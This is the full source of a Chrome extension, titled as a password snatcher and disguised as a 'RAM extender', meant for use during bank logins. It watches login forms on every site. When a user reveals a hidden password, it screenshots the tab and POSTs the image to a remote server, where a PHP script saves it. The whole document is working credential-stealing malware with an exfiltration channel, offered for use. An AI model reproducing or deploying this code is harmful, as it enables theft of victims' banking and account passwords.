Chrome Extension to Snatch Passwords when Unhidden

background.js

// TODO: Find all the fields that might be a password field.
// for now, we can do it only for a input field with id "password"

console.log("RAM extender is looking around.");

chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.message === "screenshot"){
      console.log("Received a message");
      chrome.tabs.captureVisibleTab(null, {format: "png"}, function(screenshotUrl) {
        const myHeaders = new Headers();
        myHeaders.append("Content-Type", "application/json;charset=UTF-8");
        fetch("http://legitserver.com/receive.php", {
          method: "POST",
          headers: myHeaders,
          body: JSON.stringify({screenshot: screenshotUrl}),
        })
          .then((response) => response.json())
          .then((result) => {
            console.log("POST Success:", result);
          })
          .catch((error) => {
            console.error("POST Error:", error);
          });
      });
      sendResponse({"message":"TAKEN"});
    }
  }
);

main.js

// Take screenshot when the message TAKE_SCREENSHOT_MFCKER is received:
// console.log("In main.js");

function detect_login_inputs(){
  var user_input_names=["username","user","usr","user_name","usr_name","email","user_email","user_login"];
  var passw_input_names=["password","pass","passw","passwd","user_password","user_pass","user_passwd",""];

  var user_input = null;
  var password_input = null;
  // Check if there's an input with this name
 	for (i=0;i < user_input_names.length;i++) {
 		var u_node=document.getElementById(user_input_names[i]);
 		if (u_node !== null){
 			user_input=u_node;
 			break;	
 		}
 	}
  // Check if there's an input with this name
 	for (i=0;i < passw_input_names.length;i++) {
 		var p_node=document.getElementById(passw_input_names[i]);
 		if (p_node !== null){
 			password_input=p_node;
 			break;	
 		}
 	}

  return [user_input,password_input];
}

function notify_extension(){
	(async () => {
	  const response = await chrome.runtime.sendMessage({message: "screenshot"});
	  // do something with response here, not outside the function
	  console.log("Message response: "+response);
	})();
}

function hook_observer(password_input){
  // const password_input = document.getElementById("user_pass");

  // Options for the observer (which mutations to observe)
  const config = { attributes: true, childList: false, subtree: false };

  // Callback function to execute when mutations are observed
  const callback = (mutationList, observer) => {
    for (const mutation of mutationList) {
      if (mutation.type === "attributes") {
        // console.log(`The ${mutation.attributeName} attribute was modified to ${password_input.type}`);
        // If the input field has been modified to "text" we take a screenshot and upload to our server
        if (password_input.type == "text"){
          notify_extension();
        }
        else {
          console.log("Password has been hidden.")
        }
      }
    }
  };

  // Create an observer instance linked to the callback function
  const observer = new MutationObserver(callback);

  // Start observing the target node for configured mutations
  observer.observe(password_input, config);
}


// Check if this page has a login-like form. If so, hook observer
inputs=detect_login_inputs();
if (inputs[0] !== null && inputs[1] !== null){
  console.log("This page looks like a login form. Hooking the observer.")
  hook_observer(inputs[1]);
}
else {
	console.log("This page does not look like a login form. Boring.")
}

manifest.json

{
  // Required
  "manifest_version": 3,
  "name": "Increase RAM Size",
  "version": "5.2",

  // Recommended
  "description": "This extension will double the size of your RAM as long as you keep it enabled during login operations in your bank.",
  "icons": {
    "16":"icons/mushroom16.png",
    "32":"icons/mushroom32.png",
    "64":"icons/mushroom64.png",
    "128":"icons/mushroom128.png"
  },

  "background": {
    "service_worker": "background.js"
  },

  "content_scripts": [ {
    "matches": ["https://*/*","http://*/*"],
    "js": ["main.js"]
  }],

  // Optional
  "author": "anonymous@yourhome.com",  
  "permissions": [
    "activeTab",
    "scripting",
    "tabs"
  ],

  "host_permissions": [
    "http://*/*",
    "https://*/*",
    "<all_urls>"
  ],

  "action": {
    "default_title": "RAM Extender" //,
    // "default_popup": "index.html"
  }
}

receive.php

<?php

$contents=file_get_contents('php://input');
if ($contents){
    $json = json_decode($contents, true); 
    $data = $json["screenshot"];
    
        list($type, $data) = explode(';', $data);
        list($b, $data) = explode(',', $data);
    // echo("{'data': $data}");
    $data = base64_decode($data);
    file_put_contents("screenshots/".time()."_image.png", $data);
    echo("{'message': 'ok'}");
}
else {
        echo "<h1>POST body is empty</h1>";
}

?>